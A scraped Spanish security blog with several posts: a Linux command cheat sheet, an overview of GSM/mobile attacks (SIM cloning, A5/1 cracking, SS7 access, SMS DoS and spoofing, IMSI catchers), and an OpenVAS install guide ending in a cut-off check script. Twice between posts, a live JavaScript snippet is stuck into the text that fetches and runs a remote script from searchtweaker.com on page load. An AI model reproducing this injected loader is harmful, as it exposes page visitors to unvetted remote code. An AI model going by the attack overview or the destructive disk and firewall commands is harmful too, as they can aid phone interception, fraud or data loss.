  • apt-cache search searched-package: retorna lista de paquetes que corresponde a la serie «paquetes buscados».
Ver el contenido de un fichero
  • cat file1: ver los contenidos de un fichero comenzando desde la primera hilera.
  • tac file1: ver los contenidos de un fichero comenzando desde la última línea.
  • more file1: ver el contenido a lo largo de un fichero.
  • less file1: parecido al commando ‘more’ pero permite salvar el movimiento en el fichero así como el movimiento hacia atrás.
  • head -2 file1: ver las dos primeras líneas de un fichero.
  • tail -2 file1: ver las dos últimas líneas de un fichero.
  • tail -f /var/log/messages: ver en tiempo real qué ha sido añadido al fichero.
Manipulación de texto
  • cat file1 file2 .. | command <> file1_in.txt_or_file1_out.txt: sintaxis general para la manipulación de texto utilizando PIPE, STDIN y STDOUT.
  • cat file1 | command( sed, grep, awk, grep, etc…) > result.txt: sintaxis general para manipular un texto de un fichero y escribir el resultado en un fichero nuevo.
  • cat file1 | command( sed, grep, awk, grep, etc…) » result.txt: sintaxis general para manipular un texto de un fichero y añadir resultado en un fichero existente.
  • grep Aug /var/log/messages: buscar palabras “Aug” en el fichero ‘/var/log/messages’.
  • grep ^Aug /var/log/messages: buscar palabras que comienzan con “Aug” en fichero ‘/var/log/messages’
  • grep [0-9] /var/log/messages: seleccionar todas las líneas del fichero ‘/var/log/messages’ que contienen números.
  • grep Aug -R /var/log/*: buscar la cadena “Aug” en el directorio ‘/var/log’ y debajo.
  • sed ‘s/stringa1/stringa2/g’ example.txt: reubicar “string1” con “string2” en ejemplo.txt
  • sed ‘/^$/d’ example.txt: eliminar todas las líneas en blanco desde el ejemplo.txt
  • sed ‘/ *#/d; /^$/d’ example.txt: eliminar comentarios y líneas en blanco de ejemplo.txt
  • echo ‘esempio’ | tr ‘[:lower:]‘ ‘[:upper:]‘: convertir minúsculas en mayúsculas.
  • sed -e ’1d’ result.txt: elimina la primera línea del fichero ejemplo.txt
  • sed -n ‘/stringa1/p’: visualizar solamente las líneas que contienen la palabra “string1”.
Establecer caracter y conversión de ficheros
  • dos2unix filedos.txt fileunix.txt: convertir un formato de fichero texto desde MSDOS a UNIX.
  • unix2dos fileunix.txt filedos.txt: convertir un formato de fichero de texto desde UNIX a MSDOS.
  • recode ..HTML < page.txt > page.html: convertir un fichero de texto en html.
  • recode -l | more: mostrar todas las conversiones de formato disponibles.
Análisis del sistema de ficheros
  • badblocks -v /dev/hda1: Chequear los bloques defectuosos en el disco hda1.
  • fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema Linux en el disco hda1.
  • fsck.ext2 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.
  • e2fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.
  • e2fsck -j /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.
  • fsck.ext3 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.
  • fsck.vfat /dev/hda1: reparar / chequear la integridad del fichero sistema fat en el disco hda1.
  • fsck.msdos /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.
  • dosfsck /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.
Formatear un sistema de ficheros
  • mkfs /dev/hda1: crear un fichero de sistema tipo Linux en la partición hda1.
  • mke2fs /dev/hda1: crear un fichero de sistema tipo Linux ext 2 en hda1.
  • mke2fs -j /dev/hda1: crear un fichero de sistema tipo Linux ext3 (periódico) en la partición hda1.
  • mkfs -t vfat 32 -F /dev/hda1: crear un fichero de sistema FAT32 en hda1.
  • fdformat -n /dev/fd0: formatear un disco flooply.
  • mkswap /dev/hda3: crear un fichero de sistema swap.
Trabajo con la SWAP
  • mkswap /dev/hda3: crear fichero de sistema swap.
  • swapon /dev/hda3: activando una nueva partición swap.
  • swapon /dev/hda2 /dev/hdb3: activar dos particiones swap.
Respaldos (Backup)
  • dump -0aj -f /tmp/home0.bak /home: hacer una salva completa del directorio ‘/home’.
  • dump -1aj -f /tmp/home0.bak /home: hacer una salva incremental del directorio ‘/home’.
  • restore -if /tmp/home0.bak: restaurando una salva interactivamente.
  • rsync -rogpav –delete /home /tmp: sincronización entre directorios.
  • rsync -rogpav -e ssh –delete /home ip_address:/tmp: rsync a través del túnel SSH.
  • rsync -az -e ssh –delete ip_addr:/home/public /home/local: sincronizar un directorio local con un directorio remoto a través de ssh y de compresión.
  • rsync -az -e ssh –delete /home/local ip_addr:/home/public: sincronizar un directorio remoto con un directorio local a través de ssh y de compresión.
  • dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’: hacer una salva de un disco duro en un host remoto a través de ssh.
  • dd if=/dev/sda of=/tmp/file1: salvar el contenido de un disco duro a un fichero. (En este caso el disco duro es “sda” y el fichero “file1”).
  • tar -Puf backup.tar /home/user: hacer una salva incremental del directorio ‘/home/user’.
  • ( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd /home/share/ && tar x -p’: copiar el contenido de un directorio en un directorio remoto a través de ssh.
  • ( tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home && tar x -p’: copiar un directorio local en un directorio remoto a través de ssh.
  • tar cf – . | (cd /tmp/backup ; tar xf – ): copia local conservando las licencias y enlaces desde un directorio a otro.
  • find /home/user1 -name ‘*.txt’ | xargs cp -av –target-directory=/home/backup/ –parents: encontrar y copiar todos los ficheros con extensión ‘.txt’ de un directorio a otro.
  • find /var/log -name ‘*.log’ | tar cv –files-from=- | bzip2 > log.tar.bz2: encontrar todos los ficheros con extensión ‘.log’ y hacer un archivo bzip.
  • dd if=/dev/hda of=/dev/fd0 bs=512 count=1: hacer una copia del MRB (Master Boot Record) a un disco floppy.
  • dd if=/dev/fd0 of=/dev/hda bs=512 count=1: restaurar la copia del MBR (Master Boot Record) salvada en un floppy.
CD-ROM
  • cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force: limpiar o borrar un cd regrabable.
  • mkisofs /dev/cdrom > cd.iso: crear una imagen iso de cdrom en disco.
  • mkisofs /dev/cdrom | gzip > cd_iso.gz: crear una imagen comprimida iso de cdrom en disco.
  • mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd: crear una imagen iso de un directorio.
  • cdrecord -v dev=/dev/cdrom cd.iso: quemar una imagen iso.
  • gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom -: quemar una imagen iso comprimida.
  • mount -o loop cd.iso /mnt/iso: montar una imagen iso.
  • cd-paranoia -B: llevar canciones de un cd a ficheros wav.
  • cd-paranoia – ”-3”: llevar las 3 primeras canciones de un cd a ficheros wav.
  • cdrecord –scanbus: escanear bus para identificar el canal scsi.
  • dd if=/dev/hdc | md5sum: hacer funcionar un md5sum en un dispositivo, como un CD.
Trabajo con la RED ( LAN y Wi-Fi)
  • ifconfig eth0: mostrar la configuración de una tarjeta de red Ethernet.
  • ifup eth0: activar una interface ‘eth0′.
  • ifdown eth0: deshabilitar una interface ‘eth0′.
  • ifconfig eth0 192.168.1.1 netmask 255.255.255.0: configurar una dirección IP.
  • ifconfig eth0 promisc: configurar ‘eth0′en modo común para obtener los paquetes (sniffing).
  • dhclient eth0: activar la interface ‘eth0′ en modo dhcp.
  • route -n: mostrar mesa de recorrido.
  • route add -net 0/0 gw IP_Gateway: configurar entrada predeterminada.
  • route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1: configurar ruta estática para buscar la red ’192.168.0.0/16′.
  • route del 0/0 gw IP_gateway: eliminar la ruta estática.
  • echo “1” > /proc/sys/net/ipv4/ip_forward: activar el recorrido ip.
  • hostname: mostrar el nombre del host del sistema.
  • host www.example.com: buscar el nombre del host para resolver el nombre a una dirección ip(1).
  • nslookup www.example.com: buscar el nombre del host para resolver el nombre a una direccióm ip y viceversa(2).
  • ip link show: mostar el estado de enlace de todas las interfaces.
  • mii-tool eth0: mostar el estado de enlace de ‘eth0′.
  • ethtool eth0: mostrar las estadísticas de tarjeta de red ‘eth0′.
  • netstat -tup: mostrar todas las conexiones de red activas y sus PID.
  • netstat -tupl: mostrar todos los servicios de escucha de red en el sistema y sus PID.
  • tcpdump tcp port 80: mostrar todo el tráfico HTTP.
  • iwlist scan: mostrar las redes inalámbricas.
  • iwconfig eth1: mostrar la configuración de una tarjeta de red inalámbrica.
  • whois www.example.com: buscar en base de datos Whois.
Redes de Microsoft Windows (SAMBA)
  • nbtscan ip_addr: resolución de nombre de red bios.
  • nmblookup -A ip_addr: resolución de nombre de red bios.
  • smbclient -L ip_addr/hostname: mostrar acciones remotas de un host en windows.
Tablas IP (CORTAFUEGOS)
  • iptables -t filter -L: mostrar todas las cadenas de la tabla de filtro.
  • iptables -t nat -L: mostrar todas las cadenas de la tabla nat.
  • iptables -t filter -F: limpiar todas las reglas de la tabla de filtro.
  • iptables -t nat -F: limpiar todas las reglas de la tabla nat.
  • iptables -t filter -X: borrar cualquier cadena creada por el usuario.
  • iptables -t filter -A INPUT -p tcp –dport telnet -j ACCEPT: permitir las conexiones telnet para entar.
  • iptables -t filter -A OUTPUT -p tcp –dport http -j DROP: bloquear las conexiones HTTPpara salir.
  • iptables -t filter -A FORWARD -p tcp –dport pop3 -j ACCEPT: permitir las conexionesPOP a una cadena delantera.
  • iptables -t filter -A INPUT -j LOG –log-prefix “DROP INPUT”: registrando una cadena de entrada.
  • iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE: configurar un PAT (Puerto de traducción de dirección) en eth0, ocultando los paquetes de salida forzada.
  • iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp –dport 22 -j DNAT –to-destination 10.0.0.2:22: redireccionar los paquetes diriguidos de un host a otro.
Monitoreando y depurando
  • top: mostrar las tareas de linux usando la mayoría cpu.
  • ps -eafw: muestra las tareas Linux.
  • ps -e -o pid,args –forest: muestra las tareas Linux en un modo jerárquico.
  • pstree: mostrar un árbol sistema de procesos.
  • kill -9 ID_Processo: forzar el cierre de un proceso y terminarlo.
  • kill -1 ID_Processo: forzar un proceso para recargar la configuración.
  • lsof -p $$: mostrar una lista de ficheros abiertos por procesos.
  • lsof /home/user1: muestra una lista de ficheros abiertos en un camino dado del sistema.
  • strace -c ls >/dev/null: mostrar las llamadas del sistema hechas y recibidas por un proceso.
  • strace -f -e open ls >/dev/null: mostrar las llamadas a la biblioteca.
  • watch -n1 ‘cat /proc/interrupts’: mostrar interrupciones en tiempo real.
  • last reboot: mostrar historial de reinicio.
  • lsmod: mostrar el kernel cargado.
  • free -m: muestra el estado de la RAM en megabytes.
  • smartctl -A /dev/hda: monitorear la fiabilidad de un disco duro a través de SMART.
  • smartctl -i /dev/hda: chequear si SMART está activado en un disco duro.
  • tail /var/log/dmesg: mostrar eventos inherentes al proceso de carga del kernel.
  • tail /var/log/messages: mostrar los eventos del sistema.
Otros comandos útiles
  • apropos …keyword: mostrar una lista de comandos que pertenecen a las palabras claves de un programa; son útiles cuando tú sabes qué hace tu programa, pero de sconoces el nombre del comando.
  • man ping: mostrar las páginas del manual on-line; por ejemplo, en un comando ping, usar la opción ‘-k’ para encontrar cualquier comando relacionado.
  • whatis …keyword: muestra la descripción de lo que hace el programa.
  • mkbootdisk –device /dev/fd0 uname -r: crear un floppy boteable.
  • gpg -c file1: codificar un fichero con guardia de seguridad GNU.
  • gpg file1.gpg: decodificar un fichero con Guardia de seguridad GNU.
  • wget -r www.example.com: descargar un sitio web completo.
  • wget -c www.example.com/file.iso: descargar un fichero con la posibilidad de parar la descargar y reanudar más tarde.
  • echo ‘wget -c www.example.com/files.iso‘ | at 09:00: Comenzar una descarga a cualquier hora. En este caso empezaría a las 9 horas.
  • ldd /usr/bin/ssh: mostrar las bibliotecas compartidas requeridas por el programa ssh.
  • alias hh=’history’: colocar un alias para un commando –hh= Historial.
  • chsh: cambiar el comando Shell.
  • chsh –list-shells: es un comando adecuado para saber si tienes que hacer remoto en otra terminal.
  • who -a: mostrar quien está registrado, e imprimir hora del último sistema de importación, procesos muertos, procesos de registro de sistema, procesos activos producidos por init, funcionamiento actual y últimos cambios del reloj del sistema.

    ……………………..(Un gran aporte de Natanael Garrido-Argentina)…………………………………

Tipos de Ataques a Redes Móviles

Publicado: enero 14, 2013 en Uncategorized
Antes  que nada quisiera dedicar estas lineas aun grande del internet :

Aaron Swartz …

No en vano el inventor de la World Wide Web, Sir Tim Berners-Lee, tuiteó: “Aaron está muerto. Caminantes del mundo, perdimos a uno de nuestros sabios. Hackers por derecho, perdimos a uno de los nuestros. Padres todos, perdimos a un hijo. Lloremos”.

Bueno ahi les dejo algo de información y espero que les sea de muchísima utilidad , pero eso sí el empleo que le den , serán ustedes los responsables, como tema de investigación es fenomenal, existen diversos tipos de ataques que han sido demostrados pero a pesar de haber sido detectadas dichas vulnerabilidades aún la migración del algoritmo utilizado conllevaría elevados costes para las compañías telefónicas, que tendría que reconfigurar el servicio, y posiblemente tener que cambiar incluso ciertos terminales de usuario y/o tarjetas SIM.

1)Ataques al SIM: Persiguen romper los algoritmos de cifrado de la SIM (A3+A8), con objeto de acceder a la clave de la SIM Ki así como al número de IMSI, normalmente con el objetivo de conseguir clonar la tarjeta SIM y realizar llamadas de forma fraudulenta.
Algoritmo COMP128:

Inicialmente se mantuvo en privado desde 1991 hasta 1997, cuando se filtró gran parte del código del mismo; el resto de código que faltaba se obtuvo por ingeniería inversa.
En Abril de 1998 la SDA (Smartcard Developer Association) conjuntamente con dos investigadores de la U.C. de Berkeley (Wagner/Goldberg), hicieron público el primer ataque al COMP128.

Woronscan es una herramienta para el clonado de tarjetas SIM basado en debilidades del algoritmo COMP128, requiere acceso físico a la tarjeta.
Spy-Wokiscan: Troyano que se embebe en software para clonado de SIMs dentro de ciertos paquetes del WoronScan, y que una vez se obtiene la clave, el IMSI envía dicha información a cuentas de correo rusas. Download:
2)Ataques a la señal de radio:

Persiguen conseguir acceder a información confidencial de llamadas, “sniffando” la señal de radio entre la MS y las BTS.
No hay autenticación en la red, por tanto ataques de “Man in the middle” son factibles. Esta señal está cifrada con el algoritmo A5/1, utilizando la clave de sesión generada Kc.
Alex Biryukov, Adi Ahamir y David Wagner, publican un esquema que rompe el algoritmo robusto A5/1, con dos minutos de datos de llamada interceptada; el tiempo de ataque duró solo 1 segundo:

http://cryptome.org/a51-bsw.htm

3)Ataques A5/1 diciembre 2009 (Karsten Nohl, Chris Paget):

Ingredientes necesarios para el éxito (Opensource):
3.1. Máquinas de procesamiento distribuido de alto rendimiento (grid computing):

       Nvidia GTX280: 500 chains/s
       PS3 Cell: 500 chains/s
       ATI HD5870: 500 chains/s

3.2.Software de Parametrización adecuado disponible en:

       https://srlabs.de/decrypting_gsm/
       Tablas generadas y disponibles en Bittorrent.
       http://reflextor.com/e100torrents/

       Un portátil y un equipo de RF .

3.3.Ya no es necesario ni siquiera el equipamiento indicado, es posible hacerlo con dispositivos móviles de $15 que actúan como sniffers corriendo un software de código abierto debidamente modificado.

http://bb.osmocom.org/trac/

De momento sólo compatible con algunos móviles antiguos de Motorola y Sony Ericsson.
Demostrado en la 27th Chaos Communication Congress el pasado 28 de diciembre de 2010:

 http://events.ccc.de/congress/2010/Fahrplan/attachments/1783_101228.27C3.GSM-Sniffing.Nohl_Munaut.pdf.

José Picó y David Perez de Taddong presentaron la demostración práctica en la RootedCON de 2011:

http://www.slideshare.net/rootedcon/david-prez-jos-pic-un-ataque-prctico-contracomunicaciones-mviles-rootedcon-2011
 

http://vimeo.com/27258284

Soluciones  al atque de A5/1
Solución actual: Aplicaciones de cifrado End-to-End: http://www.cellcrypt.com

4)Ataques a la red de señalización

Las transmisiones solamente están cifradas entre el MS y las BTS, el resto tráfico tras las BTS está sin cifrar. Los protocolos dentro de la red del operador (BSSAP,MAP) están sin cifrar, por tanto cualquiera con acceso a la red SS7 puede leer y/o modificar la información en el aire.Por tanto si un hacker consigue acceder a la red de señalización, puede obtener TODA la información sobre las llamadas.Si el hacker accediera a la HLR, podría ser capaz de obtener todas las Ki de todoslos clientes de una red. A pesar de que los algoritmos de cifrado mejoren, la arquitectura de la red GSM seguirá siendo vulnerable a ataques desde dentro y contra la red backbone del operador.

5)Ataques de SMS DoS

Persiguen denegar el servicio de SMS e incluso de voz de un operador, mediante la saturación de canales de tráfico de la red radio, en concreto los canales de control. Como consecuencia de la cada vez mayor interconexión con Internet de los servicios de móvil. En noviembre de 2005, investigadores de la Universidad de Pensilvania publicaron un estudio al respecto, sobre lo sencillo que sería realizar un ataque de DoS sobre toda la ciudad de Manhattan o de Washington D.C. utilizando únicamente un cablemodem Con una botnet se podrían atacar todas las comunicaciones de USA:

http://smsanalysis.org/smsanalysis.pdf

Requisitos para la realización de este tipo de ataques:
-Disponer de un servicio de envío de SMS por Internet.
-Disponer de una lista de Objetivos (móviles) fiable Diferentes formas de obtenerla: (Web scraping, Bluetooth, Contactos sincronizados robados por troyanos,etc…).
-Conocer la política de entrega de SMS del proveedor: Buffer de mensajes, tipo de lista de entrega: LIFO, FIFO y plazo de retención.
-Lanzar ataque distribuido a través de envío simultáneo de SMS por medio de portales SMS disponibles, causando la saturación de los canales de control en la transmisión.

6)Ataques SMS: SMS Spoofing

¿Cómo obtienen beneficio los atacantes del SMS spoofing? Normalmente mediante ingeniería social, animando a llamar a números de alto coste o a acceder a páginas web con malware albergado. Asimismo, potencialmente podrían utilizarse para envío de comunicados erróneos, por ejemplo de servicios bancarios con objeto de animar a los usuarios a facilitar información sensible Ligado al SMShing.

Caso reciente: Atacante envía grandes volúmenes de SMS fraudulentos a clientes de un proveedor italiano a través de un conocido proveedor de móvil. El mensaje solicitaba a los abonados llamar a un número de voz de tarificación adicional. Los abonados italianos pagaban al operador italiano por llamadas de alto coste, y el
operador italiano pagaba la parte proporcional de beneficios a un proveedor del servicio, que a su vez repercutía en el atacante. A los abonados inocentes del proveedor de móvil, cuyos números origen habían
sido falsificados, les facturaban cada mensaje SMS en roaming. El operador se dio cuenta a tiempo y paró la facturación antes de que llegaran a los clientes. Impactos para el negocio: Insatisfacción de clientes, pérdidas derivadas de los costes de envío internacional de móvil, costes a la red receptora de procesamiento
de los SMS Mala imagen para la red receptora y para la red “falsificada”.

7)Ataques Man-in-the-Middle:

Permite obtener información sensible de un móvil objetivo utilizando para ello un dispositivo, IMSI catcher o VBTS (Virtual Base Transceiver Station), que emitiendo con una mayor potencia que la antena legítima del operador induce al dispositivo móvil a registrarse en esta BTS falsa, con objeto de capturar
información sensible del abonado. Permite obtener los IMSI, IMEI de los móviles, la localización de los mismos así como potencialmente poder escuchar y/o interceptar conversaciones telefónicas.

Utilizado habitualmente por las autoridades para llevar a cabo investigaciones. El famoso hacker Kevin Mitnick fue localizado utilizando una técnica similar en los años 90 por el FBI, ayudados por una antena de elevada potencia montada sobre un camión, denominada “triggerfish”. (En España esto violaría el artículo 18.3 de la constitución, deber de secreto de las comunicaciones):

http://www.essortment.com/all/kevinmitnickco_rmap.htm

Equipamiento avanzado para espionaje, mediante la técnica de “IMSI catcher” disponible a la venta en Internet:

http://www.ukspyequipment.com/more/on/details/00052

Bueno muchachos a seguir investigando , que por seguro encontrarán mejores herramientas y técnicas.

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Se acerca el gran día, sábado 12 de enero del 2013 ….

Bueno, volviendo con el tema respecto al escáner de vulnerabilidades OpenVAS , lo he probado y definitivamente dejenme recomendarle OpenVAS el merecido sucesor de NESSUS (que durante muchísimos años fue uno de los proyectos OPEN SOURCE con gran éxito) por lo que a continuación detallaré parte de los comandos para su utilización.

Descargue  de la página de OpenVAS la versión más actualizada, Ubuntu y openSUSE tienen sus propios repositorios OBS, losadministradores de Ubuntu y Debian necesitan instalar un paquete,

sudo apt-get install -y install python-software-properties.

antes de integrar el repositorio el administrador puede añadir el paquete fuente de la siguiente forma en ubuntu:

sudo add-apt-repository “deb http://download.opensuse.org/repositories/security:/OpenVAS:/STABLE:/v4/xUbuntu_11.10/ ./”

Usar los repositorios de seguridad de openSUSE requiere tener una llave GnuPG:

sudo apt-key adv –Keyserver hkp://keys.gnupg.net –recv-keys BED1E87979EAFD54

actualizar las versiones actuales: sudo apt-get update

Instalamos los paquetes deseados usando apt-get  o con un gestor de paquetes gráfico.

sudo apt-get -y install 
openvas -manager
openvas-scanner
openvas-administrador
greenbone-security-assistant sqlite3
xsltproc

Si añadimos el repositorio en el cliente podemos instalar los programas necesarios allí mismo

sudo apt-get install gsd  openvas-cli

Para encriptar la comunicación  debemos generar los certificados de la forma siguiente:

test -e /var/lib/openvas/CA/cacert.pem || sudo openvas-mkcert -q

El comando unix test comprueba si existe un certificado de no ser así inicia el script apropiado . Ejecutamos:

sudo openvas-nvt-nsync

Creado nuestro usuario (destroyer) generaremos un certificado de cliente haciendo lo siguiente:

test -e/var/lib/openvas/users/destroyer || sudo openvas-mkcert-client -n destroyer -i

Activamos los servicios de escáner (OpenVAS open-vassd, OpenVAS MAnager openvasmd y OpenVAS Administrator openvasad)

 sudo openvassd
sudo openvasmd –migrate
sudo openvasmd –rebuild
sudo killall openvassd
sleep 15

En el futuro podremos lanzar los servicios necesarios con estos comandos:

sudo service openvas-scanner start
sudo service openvas-manager start
sudo service openvas-administrator restart

Para utilizar la intefaz web GSA, necesitamos utilizar su servicio escribiendo gsad. Asumimos que hemos instalado el paquete greenbone-security-assistant en el servidor.

sudo /etc/init.d/greenbone-security-assistant start

En la versión 4  necesitamos crear un usuario administrativo

test -e/var/lib/openvas/users/admin || sudo openvasad -c  add_user -n admin -r Admin

Los administradores puede trabajar con OpenVAS de las siguientes formas : sea por linea de comando,por la aplicación de escritorio gsd o por la interfaz WEB GSA (http://OpenVAS-server:9392)
Para poder trabajar con la interfaz web debemos antes modificar la configuración de /etc/default/greenbone-security-assitant. Cambiando  GSA_ADRESS=127.0.0.1 por la direcci’on IP “CORRECTA”.
En el caso de no querer encriptar  las comunicaciones entre  la interfaz web y el gestor en la red local añadimos HTTP_ONLY=1 en el Inicio del Script . A continuación en /etc/init.d/greenbone-security-assistant reemplazaremos la linea

[ “$GSA_ADDRESS”] && DAEMONOPTS=”-listen= $GSA_ADDRESS”

con

[ “$GSA_ADDRESS”] && DAEMONOPTS=”–http-only”

 reiniciamos GSA

/etc/init.d/greenbone-security-assitant restart

Podemos tambien trabajar Greenbone Security Desktop pero como usuario normal, no como root, por lo que escribimos: gsd en el host del cliente y nos identificamos.

A disfrutarlo … y a su vez un merecido agradecimiento a los desarrolladores de Greenbone por su gran aporte a la comunidad.

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Seguridad en Redes-OpenVAS

Publicado: enero 8, 2013 en Uncategorized

Volvemos de las REPARADORAS vacaciones con Buffer overflows, format strings, race conditions impartido por Iñaki Echevarria”, Algo motivador no! ; así es como habian publicado los administradores del MUSI en la página del Facebook!, pero la verdad considero que las vaciones fueron DESGASTADORAS, el Poteo con los amigos, el Botellón , el estar pensando en la brujita que no me llama! wauuu… que cansado estoy… Pero el sorpredente café bien cargado y el vaso de Coca Kola, han dominado mis ojos cansados ;por lo que Peroma Project ya empezó a dar sus pataditas, y con el apoyo de gente como ustedes muy pronto nacerá. Leyendo uno que otro artículo encontré uno muy interesante de la cual en los próximos blogs una vez haya experimentado con la aplicación les detallaré sobre la instalación y arquitectura de Open VAS. 

Open Vulnerability Assessment System (Open VAS) es. actualmente el codigo abierto para la evaluación de la seguridad más expandido y más profesional en el mercado.El programa es un subproducto de Nessus (antes del 2005). Nessus se inicio como software libre, mutando a un producto con licencia comercial en 2005 al completarse su versión 3.0 . La compañia de Deraison, Tenable Security, se ha concentrado desde entonces en ofrecer soporte técnico para Nessus. La utilidad de un escáner de vulnerabilidades como Open VAS depende de las actualizaciones de su servicio de fuente de datos, que proporciona pruebas de vulnerabilidades de red (NVTs) en un formato especial. Actualmente Open VAS proporciona unas 25,000 NVTs.

Los desarrolladores de Nessus donaron amablemente a la comunidad de software libre el código de la versión 2,2 en 2005 , llevando durante 7 años bajo la licencia de GLP. El proyecto sucesor denominado Open VAS está en su mayoria programado en C, con la excepción de algunos modulos en C++ , y está disponible bajo la licencia  GPLv2. En este campo Nessus llegó a la versión 5,0.

Algunas de las herramientas y complementos más interesantes para Open VAS, conocido como Greenbone Security Solutions, incluye la interfaz web Greenbone Security Assistant (GSA), la interfaz de escritorio Vulnerability Management Control Center (vmcc) o la interfaz avanzada de linea de comandos Vulnerability Management Batch Process Integration(vmbpi), así como la Greenbone Security Explorer, una aplicación web interactiva e independiente, basada en mapas, diseñada para el análisis de informes. Dependiendo de la distribución, las utilidades de Greenbone está usualmente disponibles desde el repositorio de Open VAS o como parte del respectivo paquete.
Solución de Problemas:
En el momento en que un componente de Open VAS comienza a fallar u ocurren otros problemas, el equipo de Open VAS proporciona un script que comprueba la instalación y nos da información para solucionar problemas. Copiamos y pegamos el script en un editor de nuestra elección, guardarlo como openvas-check-setup, luego escribir el comando chmod +x openvas-check-setup comprueba la instalación de OpenVAS 4 y ./openvas-check-setup -v5 ayuda con OpenVAS 5 . Este script comprueba si los servicios necesarios de Open VAS están funcionando y si están aceptando conexiones en los puertos adecuados.

#############################CódigodeComprobación#############################################

#!/bin/sh

# OpenVAS
# $Id$
# Description: Script for checking completeness and readiness
# of OpenVAS.
#
# Authors:
# Jan-Oliver Wagner <jan-oliver.wagner@greenbone.net>
# Michael Wiegand <michael.wiegand@greenbone.net>
#
# Copyright:
# Copyright (C) 2011, 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# or at your option any later version, as published by the
# Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

LOG=/tmp/openvas-check-setup.log
CHECKVERSION=2.2.0

if [ "$1" = "--server" -o "$2" = "--server" ]
then
MODE="server"
else
MODE="desktop"
fi

# Current default is OpenVAS-5:
VER="5"
SCANNER_MAJOR="3"
SCANNER_MINOR="3"
MANAGER_MAJOR="3"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="3"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"

if [ "$1" = "--v6" -o "$2" = "--v6" ]
then
VER="6"
SCANNER_MAJOR="3"
SCANNER_MINOR="4"
MANAGER_MAJOR="4"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="4"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
elif [ "$1" = "--v5" -o "$2" = "--v5" ]
then
VER="5"
SCANNER_MAJOR="3"
SCANNER_MINOR="3"
MANAGER_MAJOR="3"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="3"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
elif [ "$1" = "--v4" -o "$2" = "--v4" ]
then
VER="4"
SCANNER_MAJOR="3"
SCANNER_MINOR="2"
MANAGER_MAJOR="2"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="1"
GSA_MAJOR="2"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
fi

echo "openvas-check-setup $CHECKVERSION"
echo " Test completeness and readiness of OpenVAS-$VER"
if [ "$VER" = "4" -o "$VER" = "6" ]
then
echo " (add '--v5' if you want to check for OpenVAS-5)"
fi
echo ""
echo " Please report us any non-detected problems and"
echo " help us to improve this check routine:"
echo " http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo ""
echo " Send us the log-file ($LOG) to help analyze the problem."
echo ""

if [ "$MODE" = "desktop" ]
then
echo " Use the parameter --server to skip checks for client tools"
echo " like GSD and OpenVAS-CLI."
echo ""
fi

log_and_print ()
{
echo " " $1
echo " " $1 >> $LOG
}

check_failed ()
{
echo ""
echo " ERROR: Your OpenVAS-$VER installation is not yet complete!"
echo ""
echo "Please follow the instructions marked with FIX above and run this"
echo "script again."
echo ""
echo "If you think this result is wrong, please report your observation"
echo "and help us to improve this check routine:"
echo "http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo "Please attach the log-file ($LOG) to help us analyze the problem."
echo ""
exit 1
}


# LOG start
echo "openvas-check-setup $CHECKVERSION" > $LOG
echo " Mode: $MODE" >> $LOG
echo " Date: " `date -R` >> $LOG
echo "" >> $LOG


echo "Step 1: Checking OpenVAS Scanner ... "

echo "Checking for old OpenVAS Scanner <= 2.0 ..." >> $LOG
openvasd -V >> $LOG 2>&1
if [ $? -eq 0 ]
then
log_and_print "ERROR: Old version of OpenVAS Scanner detected."
